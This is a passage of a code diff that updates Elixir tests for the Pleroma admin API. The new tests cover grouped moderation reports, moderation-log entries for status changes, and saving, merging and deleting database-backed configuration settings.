+ date1 = (DateTime.to_unix(DateTime.utc_now()) + 1000) |> DateTime.from_unix!()
+ date2 = (DateTime.to_unix(DateTime.utc_now()) + 2000) |> DateTime.from_unix!()
+ date3 = (DateTime.to_unix(DateTime.utc_now()) + 3000) |> DateTime.from_unix!()
- test "returns created dm", %{conn: conn} do
- [reporter, target_user] = insert_pair(:user)
- activity = insert(:note_activity, user: target_user)
+ first_status =
+ insert(:note_activity, user: target_user, data_attrs: %{"published" => date1})
- {:ok, %{id: report_id}} =
+ second_status =
+ insert(:note_activity, user: target_user, data_attrs: %{"published" => date2})
+
+ third_status =
+ insert(:note_activity, user: target_user, data_attrs: %{"published" => date3})
+
+ {:ok, first_report} =
CommonAPI.report(reporter, %{
"account_id" => target_user.id,
- "comment" => "I feel offended",
- "status_ids" => [activity.id]
+ "status_ids" => [first_status.id, second_status.id, third_status.id]
})
+ {:ok, second_report} =
+ CommonAPI.report(reporter, %{
+ "account_id" => target_user.id,
+ "status_ids" => [first_status.id, second_status.id]
+ })
+
+ {:ok, third_report} =
+ CommonAPI.report(reporter, %{
+ "account_id" => target_user.id,
+ "status_ids" => [first_status.id]
+ })
+
+ %{
+ first_status: Activity.get_by_ap_id_with_object(first_status.data["id"]),
+ second_status: Activity.get_by_ap_id_with_object(second_status.data["id"]),
+ third_status: Activity.get_by_ap_id_with_object(third_status.data["id"]),
+ first_report: first_report,
+ first_status_reports: [first_report, second_report, third_report],
+ second_status_reports: [first_report, second_report],
+ third_status_reports: [first_report],
+ target_user: target_user,
+ reporter: reporter
+ }
+ end
+
+ test "returns reports grouped by status", %{
+ conn: conn,
+ first_status: first_status,
+ second_status: second_status,
+ third_status: third_status,
+ first_status_reports: first_status_reports,
+ second_status_reports: second_status_reports,
+ third_status_reports: third_status_reports,
+ target_user: target_user,
+ reporter: reporter
+ } do
response =
conn
- |> post("/api/pleroma/admin/reports/#{report_id}/respond", %{
- "status" => "I will check it out"
- })
+ |> get("/api/pleroma/admin/grouped_reports")
+ |> json_response(:ok)
+
+ assert length(response["reports"]) == 3
+
+ first_group = Enum.find(response["reports"], &(&1["status"]["id"] == first_status.id))
+
+ second_group = Enum.find(response["reports"], &(&1["status"]["id"] == second_status.id))
+
+ third_group = Enum.find(response["reports"], &(&1["status"]["id"] == third_status.id))
+
+ assert length(first_group["reports"]) == 3
+ assert length(second_group["reports"]) == 2
+ assert length(third_group["reports"]) == 1
+
+ assert first_group["date"] ==
+ Enum.max_by(first_status_reports, fn act ->
+ NaiveDateTime.from_iso8601!(act.data["published"])
+ end).data["published"]
+
+ assert first_group["status"] ==
+ Map.put(
+ stringify_keys(StatusView.render("show.json", %{activity: first_status})),
+ "deleted",
+ false
+ )
+
+ assert(first_group["account"]["id"] == target_user.id)
+
+ assert length(first_group["actors"]) == 1
+ assert hd(first_group["actors"])["id"] == reporter.id
+
+ assert Enum.map(first_group["reports"], & &1["id"]) --
+ Enum.map(first_status_reports, & &1.id) == []
+
+ assert second_group["date"] ==
+ Enum.max_by(second_status_reports, fn act ->
+ NaiveDateTime.from_iso8601!(act.data["published"])
+ end).data["published"]
+
+ assert second_group["status"] ==
+ Map.put(
+ stringify_keys(StatusView.render("show.json", %{activity: second_status})),
+ "deleted",
+ false
+ )
+
+ assert second_group["account"]["id"] == target_user.id
+
+ assert length(second_group["actors"]) == 1
+ assert hd(second_group["actors"])["id"] == reporter.id
+
+ assert Enum.map(second_group["reports"], & &1["id"]) --
+ Enum.map(second_status_reports, & &1.id) == []
+
+ assert third_group["date"] ==
+ Enum.max_by(third_status_reports, fn act ->
+ NaiveDateTime.from_iso8601!(act.data["published"])
+ end).data["published"]
+
+ assert third_group["status"] ==
+ Map.put(
+ stringify_keys(StatusView.render("show.json", %{activity: third_status})),
+ "deleted",
+ false
+ )
+
+ assert third_group["account"]["id"] == target_user.id
+
+ assert length(third_group["actors"]) == 1
+ assert hd(third_group["actors"])["id"] == reporter.id
+
+ assert Enum.map(third_group["reports"], & &1["id"]) --
+ Enum.map(third_status_reports, & &1.id) == []
+ end
+
+ test "reopened report renders status data", %{
+ conn: conn,
+ first_report: first_report,
+ first_status: first_status
+ } do
+ {:ok, _} = CommonAPI.update_report_state(first_report.id, "resolved")
+
+ response =
+ conn
+ |> get("/api/pleroma/admin/grouped_reports")
|> json_response(:ok)
- recipients = Enum.map(response["mentions"], & &1["username"])
+ first_group = Enum.find(response["reports"], &(&1["status"]["id"] == first_status.id))
- assert reporter.nickname in recipients
- assert response["content"] == "I will check it out"
- assert response["visibility"] == "direct"
+ assert first_group["status"] ==
+ Map.put(
+ stringify_keys(StatusView.render("show.json", %{activity: first_status})),
+ "deleted",
+ false
+ )
end
- test "returns 400 when status is missing", %{conn: conn} do
- conn = post(conn, "/api/pleroma/admin/reports/test/respond")
+ test "reopened report does not render status data if status has been deleted", %{
+ conn: conn,
+ first_report: first_report,
+ first_status: first_status,
+ target_user: target_user
+ } do
+ {:ok, _} = CommonAPI.update_report_state(first_report.id, "resolved")
+ {:ok, _} = CommonAPI.delete(first_status.id, target_user)
+
+ refute Activity.get_by_ap_id(first_status.id)
- assert json_response(conn, :bad_request) == "Invalid parameters"
+ response =
+ conn
+ |> get("/api/pleroma/admin/grouped_reports")
+ |> json_response(:ok)
+
+ assert Enum.find(response["reports"], &(&1["status"]["deleted"] == true))["status"][
+ "deleted"
+ ] == true
+
+ assert length(Enum.filter(response["reports"], &(&1["status"]["deleted"] == false))) == 2
end
- test "returns 404 when report id is invalid", %{conn: conn} do
- conn =
- post(conn, "/api/pleroma/admin/reports/test/respond", %{
- "status" => "foo"
- })
+ test "account not empty if status was deleted", %{
+ conn: conn,
+ first_report: first_report,
+ first_status: first_status,
+ target_user: target_user
+ } do
+ {:ok, _} = CommonAPI.update_report_state(first_report.id, "resolved")
+ {:ok, _} = CommonAPI.delete(first_status.id, target_user)
- assert json_response(conn, :not_found) == "Not found"
+ refute Activity.get_by_ap_id(first_status.id)
+
+ response =
+ conn
+ |> get("/api/pleroma/admin/grouped_reports")
+ |> json_response(:ok)
+
+ assert Enum.find(response["reports"], &(&1["status"]["deleted"] == true))["account"]
end
end
describe "PUT /api/pleroma/admin/statuses/:id" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ setup do
activity = insert(:note_activity)
- %{conn: assign(conn, :user, admin), id: activity.id}
+ %{id: activity.id}
end
- test "toggle sensitive flag", %{conn: conn, id: id} do
+ test "toggle sensitive flag", %{conn: conn, id: id, admin: admin} do
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"})
@@ -1271,6 +1809,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert response["sensitive"]
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} updated status ##{id}, set sensitive: 'true'"
+
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"})
@@ -1279,7 +1822,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
refute response["sensitive"]
end
- test "change visibility flag", %{conn: conn, id: id} do
+ test "change visibility flag", %{conn: conn, id: id, admin: admin} do
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "public"})
@@ -1287,6 +1830,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert response["visibility"] == "public"
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} updated status ##{id}, set visibility: 'public'"
+
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "private"})
@@ -1303,65 +1851,76 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "returns 400 when visibility is unknown", %{conn: conn, id: id} do
- conn =
- conn
- |> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "test"})
+ conn = put(conn, "/api/pleroma/admin/statuses/#{id}", %{"visibility" => "test"})
assert json_response(conn, :bad_request) == "Unsupported visibility"
end
end
describe "DELETE /api/pleroma/admin/statuses/:id" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ setup do
activity = insert(:note_activity)
- %{conn: assign(conn, :user, admin), id: activity.id}
+ %{id: activity.id}
end
- test "deletes status", %{conn: conn, id: id} do
+ test "deletes status", %{conn: conn, id: id, admin: admin} do
conn
|> delete("/api/pleroma/admin/statuses/#{id}")
|> json_response(:ok)
refute Activity.get_by_id(id)
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} deleted status ##{id}"
end
test "returns error when status is not exist", %{conn: conn} do
- conn =
- conn
- |> delete("/api/pleroma/admin/statuses/test")
+ conn = delete(conn, "/api/pleroma/admin/statuses/test")
assert json_response(conn, :bad_request) == "Could not delete"
end
end
describe "GET /api/pleroma/admin/config" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ clear_config(:configurable_from_database) do
+ Pleroma.Config.put(:configurable_from_database, true)
+ end
- %{conn: assign(conn, :user, admin)}
+ test "when configuration from database is off", %{conn: conn} do
+ initial = Pleroma.Config.get(:configurable_from_database)
+ Pleroma.Config.put(:configurable_from_database, false)
+ on_exit(fn -> Pleroma.Config.put(:configurable_from_database, initial) end)
+ conn = get(conn, "/api/pleroma/admin/config")
+
+ assert json_response(conn, 400) ==
+ "To use this endpoint you need to enable configuration from database."
end
test "without any settings in db", %{conn: conn} do
conn = get(conn, "/api/pleroma/admin/config")
- assert json_response(conn, 200) == %{"configs" => []}
+ assert json_response(conn, 400) ==
+ "To use configuration from database migrate your settings to database."
end
- test "with settings in db", %{conn: conn} do
+ test "with settings only in db", %{conn: conn} do
config1 = insert(:config)
config2 = insert(:config)
- conn = get(conn, "/api/pleroma/admin/config")
+ conn = get(conn, "/api/pleroma/admin/config", %{"only_db" => true})
%{
"configs" => [
%{
+ "group" => ":pleroma",
"key" => key1,
"value" => _
},
%{
+ "group" => ":pleroma",
"key" => key2,
"value" => _
}
@@ -1371,13 +1930,107 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert key1 == config1.key
assert key2 == config2.key
end
+
+ test "db is added to settings that are in db", %{conn: conn} do
+ _config = insert(:config, key: ":instance", value: ConfigDB.to_binary(name: "Some name"))
+
+ %{"configs" => configs} =
+ conn
+ |> get("/api/pleroma/admin/config")
+ |> json_response(200)
+
+ [instance_config] =
+ Enum.filter(configs, fn %{"group" => group, "key" => key} ->
+ group == ":pleroma" and key == ":instance"
+ end)
+
+ assert instance_config["db"] == [":name"]
+ end
+
+ test "merged default setting with db settings", %{conn: conn} do
+ config1 = insert(:config)
+ config2 = insert(:config)
+
+ config3 =
+ insert(:config,
+ value: ConfigDB.to_binary(k1: :v1, k2: :v2)
+ )
+
+ %{"configs" => configs} =
+ conn
+ |> get("/api/pleroma/admin/config")
+ |> json_response(200)
+
+ assert length(configs) > 3
+
+ received_configs =
+ Enum.filter(configs, fn %{"group" => group, "key" => key} ->
+ group == ":pleroma" and key in [config1.key, config2.key, config3.key]
+ end)
+
+ assert length(received_configs) == 3
+
+ db_keys =
+ config3.value
+ |> ConfigDB.from_binary()
+ |> Keyword.keys()
+ |> ConfigDB.convert()
+
+ Enum.each(received_configs, fn %{"value" => value, "db" => db} ->
+ assert db in [[config1.key], [config2.key], db_keys]
+
+ assert value in [
+ ConfigDB.from_binary_with_convert(config1.value),
+ ConfigDB.from_binary_with_convert(config2.value),
+ ConfigDB.from_binary_with_convert(config3.value)
+ ]
+ end)
+ end
+
+ test "subkeys with full update right merge", %{conn: conn} do
+ config1 =
+ insert(:config,
+ key: ":emoji",
+ value: ConfigDB.to_binary(groups: [a: 1, b: 2], key: [a: 1])
+ )
+
+ config2 =
+ insert(:config,
+ key: ":assets",
+ value: ConfigDB.to_binary(mascots: [a: 1, b: 2], key: [a: 1])
+ )
+
+ %{"configs" => configs} =
+ conn
+ |> get("/api/pleroma/admin/config")
+ |> json_response(200)
+
+ vals =
+ Enum.filter(configs, fn %{"group" => group, "key" => key} ->
+ group == ":pleroma" and key in [config1.key, config2.key]
+ end)
+
+ emoji = Enum.find(vals, fn %{"key" => key} -> key == ":emoji" end)
+ assets = Enum.find(vals, fn %{"key" => key} -> key == ":assets" end)
+
+ emoji_val = ConfigDB.transform_with_out_binary(emoji["value"])
+ assets_val = ConfigDB.transform_with_out_binary(assets["value"])
+
+ assert emoji_val[:groups] == [a: 1, b: 2]
+ assert assets_val[:mascots] == [a: 1, b: 2]
+ end
end
- describe "POST /api/pleroma/admin/config" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ test "POST /api/pleroma/admin/config error", %{conn: conn} do
+ conn = post(conn, "/api/pleroma/admin/config", %{"configs" => []})
+
+ assert json_response(conn, 400) ==
+ "To use this endpoint you need to enable configuration from database."
+ end
- temp_file = "config/test.exported_from_db.secret.exs"
+ describe "POST /api/pleroma/admin/config" do
+ setup do
+ http = Application.get_env(:pleroma, :http)
on_exit(fn ->
Application.delete_env(:pleroma, :key1)
@@ -1388,33 +2041,33 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
Application.delete_env(:pleroma, :keyaa2)
Application.delete_env(:pleroma, Pleroma.Web.Endpoint.NotReal)
Application.delete_env(:pleroma, Pleroma.Captcha.NotReal)
- :ok = File.rm(temp_file)
- end)
-
- dynamic = Pleroma.Config.get([:instance, :dynamic_configuration])
-
- Pleroma.Config.put([:instance, :dynamic_configuration], true)
-
- on_exit(fn ->
- Pleroma.Config.put([:instance, :dynamic_configuration], dynamic)
+ Application.put_env(:pleroma, :http, http)
+ Application.put_env(:tesla, :adapter, Tesla.Mock)
+ :ok = File.rm("config/test.exported_from_db.secret.exs")
end)
+ end
- %{conn: assign(conn, :user, admin)}
+ clear_config(:configurable_from_database) do
+ Pleroma.Config.put(:configurable_from_database, true)
end
+ @tag capture_log: true
test "create new config setting in db", %{conn: conn} do
+ ueberauth = Application.get_env(:ueberauth, Ueberauth)
+ on_exit(fn -> Application.put_env(:ueberauth, Ueberauth, ueberauth) end)
+
conn =
post(conn, "/api/pleroma/admin/config", %{
configs: [
- %{group: "pleroma", key: "key1", value: "value1"},
+ %{group: ":pleroma", key: ":key1", value: "value1"},
%{
- group: "ueberauth",
- key: "Ueberauth.Strategy.Twitter.OAuth",
+ group: ":ueberauth",
+ key: "Ueberauth",
value: [%{"tuple" => [":consumer_secret", "aaaa"]}]
},
%{
- group: "pleroma",
- key: "key2",
+ group: ":pleroma",
+ key: ":key2",
value: %{
":nested_1" => "nested_value1",
":nested_2" => [
@@ -1424,21 +2077,21 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
}
},
%{
- group: "pleroma",
- key: "key3",
+ group: ":pleroma",
+ key: ":key3",
value: [
%{"nested_3" => ":nested_3", "nested_33" => "nested_33"},
%{"nested_4" => true}
]
},
%{
- group: "pleroma",
- key: "key4",
+ group: ":pleroma",
+ key: ":key4",
value: %{":nested_5" => ":upload", "endpoint" => "https://example.com"}
},
%{
- group: "idna",
- key: "key5",
+ group: ":idna",
+ key: ":key5",
value: %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]}
}
]
@@ -1447,43 +2100,49 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"configs" => [
%{
- "group" => "pleroma",
- "key" => "key1",
- "value" => "value1"
+ "group" => ":pleroma",
+ "key" => ":key1",
+ "value" => "value1",
+ "db" => [":key1"]
},
%{
- "group" => "ueberauth",
- "key" => "Ueberauth.Strategy.Twitter.OAuth",
- "value" => [%{"tuple" => [":consumer_secret", "aaaa"]}]
+ "group" => ":ueberauth",
+ "key" => "Ueberauth",
+ "value" => [%{"tuple" => [":consumer_secret", "aaaa"]}],
+ "db" => [":consumer_secret"]
},
%{
- "group" => "pleroma",
- "key" => "key2",
+ "group" => ":pleroma",
+ "key" => ":key2",
"value" => %{
":nested_1" => "nested_value1",
":nested_2" => [
%{":nested_22" => "nested_value222"},
%{":nested_33" => %{":nested_44" => "nested_444"}}
]
- }
+ },
+ "db" => [":key2"]
},
%{
- "group" => "pleroma",
- "key" => "key3",
+ "group" => ":pleroma",
+ "key" => ":key3",
"value" => [
%{"nested_3" => ":nested_3", "nested_33" => "nested_33"},
%{"nested_4" => true}
- ]
+ ],
+ "db" => [":key3"]
},
%{
- "group" => "pleroma",
- "key" => "key4",
- "value" => %{"endpoint" => "https://example.com", ":nested_5" => ":upload"}
+ "group" => ":pleroma",
+ "key" => ":key4",
+ "value" => %{"endpoint" => "https://example.com", ":nested_5" => ":upload"},
+ "db" => [":key4"]
},
%{
- "group" => "idna",
- "key" => "key5",
- "value" => %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]}
+ "group" => ":idna",
+ "key" => ":key5",
+ "value" => %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]},
+ "db" => [":key5"]
}
]
}
@@ -1511,25 +2170,158 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert Application.get_env(:idna, :key5) == {"string", Pleroma.Captcha.NotReal, []}
end
- test "update config setting & delete", %{conn: conn} do
- config1 = insert(:config, key: "keyaa1")
- config2 = insert(:config, key: "keyaa2")
+ test "save config setting without key", %{conn: conn} do
+ level = Application.get_env(:quack, :level)
+ meta = Application.get_env(:quack, :meta)
+ webhook_url = Application.get_env(:quack, :webhook_url)
- insert(:config,
- group: "ueberauth",
- key: "Ueberauth.Strategy.Microsoft.OAuth",
- value: :erlang.term_to_binary([])
- )
+ on_exit(fn ->
+ Application.put_env(:quack, :level, level)
+ Application.put_env(:quack, :meta, meta)
+ Application.put_env(:quack, :webhook_url, webhook_url)
+ end)
conn =
post(conn, "/api/pleroma/admin/config", %{
configs: [
- %{group: config1.group, key: config1.key, value: "another_value"},
- %{group: config2.group, key: config2.key, delete: "true"},
%{
- group: "ueberauth",
- key: "Ueberauth.Strategy.Microsoft.OAuth",
- delete: "true"
+ group: ":quack",
+ key: ":level",
+ value: ":info"
+ },
+ %{
+ group: ":quack",
+ key: ":meta",
+ value: [":none"]
+ },
+ %{
+ group: ":quack",
+ key: ":webhook_url",
+ value: "https://hooks.slack.com/services/KEY"
+ }
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":quack",
+ "key" => ":level",
+ "value" => ":info",
+ "db" => [":level"]
+ },
+ %{
+ "group" => ":quack",
+ "key" => ":meta",
+ "value" => [":none"],
+ "db" => [":meta"]
+ },
+ %{
+ "group" => ":quack",
+ "key" => ":webhook_url",
+ "value" => "https://hooks.slack.com/services/KEY",
+ "db" => [":webhook_url"]
+ }
+ ]
+ }
+
+ assert Application.get_env(:quack, :level) == :info
+ assert Application.get_env(:quack, :meta) == [:none]
+ assert Application.get_env(:quack, :webhook_url) == "https://hooks.slack.com/services/KEY"
+ end
+
+ test "saving config with partial update", %{conn: conn} do
+ config = insert(:config, key: ":key1", value: :erlang.term_to_binary(key1: 1, key2: 2))
+
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{group: config.group, key: config.key, value: [%{"tuple" => [":key3", 3]}]}
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":pleroma",
+ "key" => ":key1",
+ "value" => [
+ %{"tuple" => [":key1", 1]},
+ %{"tuple" => [":key2", 2]},
+ %{"tuple" => [":key3", 3]}
+ ],
+ "db" => [":key1", ":key2", ":key3"]
+ }
+ ]
+ }
+ end
+
+ test "saving config with nested merge", %{conn: conn} do
+ config =
+ insert(:config, key: ":key1", value: :erlang.term_to_binary(key1: 1, key2: [k1: 1, k2: 2]))
+
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{
+ group: config.group,
+ key: config.key,
+ value: [
+ %{"tuple" => [":key3", 3]},
+ %{
+ "tuple" => [
+ ":key2",
+ [
+ %{"tuple" => [":k2", 1]},
+ %{"tuple" => [":k3", 3]}
+ ]
+ ]
+ }
+ ]
+ }
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":pleroma",
+ "key" => ":key1",
+ "value" => [
+ %{"tuple" => [":key1", 1]},
+ %{"tuple" => [":key3", 3]},
+ %{
+ "tuple" => [
+ ":key2",
+ [
+ %{"tuple" => [":k1", 1]},
+ %{"tuple" => [":k2", 1]},
+ %{"tuple" => [":k3", 3]}
+ ]
+ ]
+ }
+ ],
+ "db" => [":key1", ":key3", ":key2"]
+ }
+ ]
+ }
+ end
+
+ test "saving special atoms", %{conn: conn} do
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ "configs" => [
+ %{
+ "group" => ":pleroma",
+ "key" => ":key1",
+ "value" => [
+ %{
+ "tuple" => [
+ ":ssl_options",
+ [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}]
+ ]
+ }
+ ]
}
]
})
@@ -1537,47 +2329,239 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"configs" => [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
+ "key" => ":key1",
+ "value" => [
+ %{
+ "tuple" => [
+ ":ssl_options",
+ [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}]
+ ]
+ }
+ ],
+ "db" => [":ssl_options"]
+ }
+ ]
+ }
+
+ assert Application.get_env(:pleroma, :key1) == [
+ ssl_options: [versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]]
+ ]
+ end
+
+ test "saving full setting if value is in full_key_update list", %{conn: conn} do
+ backends = Application.get_env(:logger, :backends)
+ on_exit(fn -> Application.put_env(:logger, :backends, backends) end)
+
+ config =
+ insert(:config,
+ group: ":logger",
+ key: ":backends",
+ value: :erlang.term_to_binary([])
+ )
+
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{
+ group: config.group,
+ key: config.key,
+ value: [":console", %{"tuple" => ["ExSyslogger", ":ex_syslogger"]}]
+ }
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":logger",
+ "key" => ":backends",
+ "value" => [
+ ":console",
+ %{"tuple" => ["ExSyslogger", ":ex_syslogger"]}
+ ],
+ "db" => [":backends"]
+ }
+ ]
+ }
+
+ assert Application.get_env(:logger, :backends) == [
+ :console,
+ {ExSyslogger, :ex_syslogger}
+ ]
+
+ ExUnit.CaptureLog.capture_log(fn ->
+ require Logger
+ Logger.warn("Ooops...")
+ end) =~ "Ooops..."
+ end
+
+ test "saving full setting if value is not keyword", %{conn: conn} do
+ config =
+ insert(:config,
+ group: ":tesla",
+ key: ":adapter",
+ value: :erlang.term_to_binary(Tesla.Adapter.Hackey)
+ )
+
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{group: config.group, key: config.key, value: "Tesla.Adapter.Httpc"}
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":tesla",
+ "key" => ":adapter",
+ "value" => "Tesla.Adapter.Httpc",
+ "db" => [":adapter"]
+ }
+ ]
+ }
+ end
+
+ test "update config setting & delete with fallback to default value", %{
+ conn: conn,
+ admin: admin,
+ token: token
+ } do
+ ueberauth = Application.get_env(:ueberauth, Ueberauth)
+ config1 = insert(:config, key: ":keyaa1")
+ config2 = insert(:config, key: ":keyaa2")
+
+ config3 =
+ insert(:config,
+ group: ":ueberauth",
+ key: "Ueberauth"
+ )
+
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{group: config1.group, key: config1.key, value: "another_value"},
+ %{group: config2.group, key: config2.key, value: "another_value"}
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":pleroma",
"key" => config1.key,
- "value" => "another_value"
+ "value" => "another_value",
+ "db" => [":keyaa1"]
+ },
+ %{
+ "group" => ":pleroma",
+ "key" => config2.key,
+ "value" => "another_value",
+ "db" => [":keyaa2"]
}
]
}
assert Application.get_env(:pleroma, :keyaa1) == "another_value"
- refute Application.get_env(:pleroma, :keyaa2)
+ assert Application.get_env(:pleroma, :keyaa2) == "another_value"
+ assert Application.get_env(:ueberauth, Ueberauth) == ConfigDB.from_binary(config3.value)
+
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> assign(:token, token)
+ |> post("/api/pleroma/admin/config", %{
+ configs: [
+ %{group: config2.group, key: config2.key, delete: true},
+ %{
+ group: ":ueberauth",
+ key: "Ueberauth",
+ delete: true
+ }
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => []
+ }
+
+ assert Application.get_env(:ueberauth, Ueberauth) == ueberauth
+ refute Keyword.has_key?(Application.get_all_env(:pleroma), :keyaa2)
end
test "common config example", %{conn: conn} do
+ adapter = Application.get_env(:tesla, :adapter)
+ on_exit(fn -> Application.put_env(:tesla, :adapter, adapter) end)
+
conn =
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => "Pleroma.Captcha.NotReal",
"value" => [
%{"tuple" => [":enabled", false]},
%{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]},
%{"tuple" => [":seconds_valid", 60]},
%{"tuple" => [":path", ""]},
- %{"tuple" => [":key1", nil]}
+ %{"tuple" => [":key1", nil]},
+ %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]},
+ %{"tuple" => [":regex1", "~r/https:\/\/example.com/"]},
+ %{"tuple" => [":regex2", "~r/https:\/\/example.com/u"]},
+ %{"tuple" => [":regex3", "~r/https:\/\/example.com/i"]},
+ %{"tuple" => [":regex4", "~r/https:\/\/example.com/s"]},
+ %{"tuple" => [":name", "Pleroma"]}
]
+ },
+ %{
+ "group" => ":tesla",
+ "key" => ":adapter",
+ "value" => "Tesla.Adapter.Httpc"
}
]
})
+ assert Application.get_env(:tesla, :adapter) == Tesla.Adapter.Httpc
+ assert Pleroma.Config.get([Pleroma.Captcha.NotReal, :name]) == "Pleroma"
+
assert json_response(conn, 200) == %{
"configs" => [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => "Pleroma.Captcha.NotReal",
"value" => [
%{"tuple" => [":enabled", false]},
%{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]},
%{"tuple" => [":seconds_valid", 60]},
%{"tuple" => [":path", ""]},
- %{"tuple" => [":key1", nil]}
+ %{"tuple" => [":key1", nil]},
+ %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]},
+ %{"tuple" => [":regex1", "~r/https:\\/\\/example.com/"]},
+ %{"tuple" => [":regex2", "~r/https:\\/\\/example.com/u"]},
+ %{"tuple" => [":regex3", "~r/https:\\/\\/example.com/i"]},
+ %{"tuple" => [":regex4", "~r/https:\\/\\/example.com/s"]},
+ %{"tuple" => [":name", "Pleroma"]}
+ ],
+ "db" => [
+ ":enabled",
+ ":method",
+ ":seconds_valid",
+ ":path",
+ ":key1",
+ ":partial_chain",
+ ":regex1",
+ ":regex2",
+ ":regex3",
+ ":regex4",
+ ":name"
]
+ },
+ %{
+ "group" => ":tesla",
+ "key" => ":adapter",
+ "value" => "Tesla.Adapter.Httpc",
+ "db" => [":adapter"]
}
]
}
@@ -1588,7 +2572,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => "Pleroma.Web.Endpoint.NotReal",
"value" => [
%{
@@ -1652,7 +2636,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"configs" => [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => "Pleroma.Web.Endpoint.NotReal",
"value" => [
%{
@@ -1708,7 +2692,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
]
]
}
- ]
+ ],
+ "db" => [":http"]
}
]
}
@@ -1719,7 +2704,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => ":key1",
"value" => [
%{"tuple" => [":key2", "some_val"]},
@@ -1749,7 +2734,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
%{
"configs" => [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => ":key1",
"value" => [
%{"tuple" => [":key2", "some_val"]},
@@ -1770,7 +2755,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
}
]
}
- ]
+ ],
+ "db" => [":key2", ":key3"]
}
]
}
@@ -1781,7 +2767,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => ":key1",
"value" => %{"key" => "some_val"}
}
@@ -1792,92 +2778,104 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
%{
"configs" => [
%{
- "group" => "pleroma",
+ "group" => ":pleroma",
"key" => ":key1",
- "value" => %{"key" => "some_val"}
+ "value" => %{"key" => "some_val"},
+ "db" => [":key1"]
}
]
}
end
- test "dispatch setting", %{conn: conn} do
+ test "queues key as atom", %{conn: conn} do
conn =
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
- "group" => "pleroma",
- "key" => "Pleroma.Web.Endpoint.NotReal",
+ "group" => ":oban",
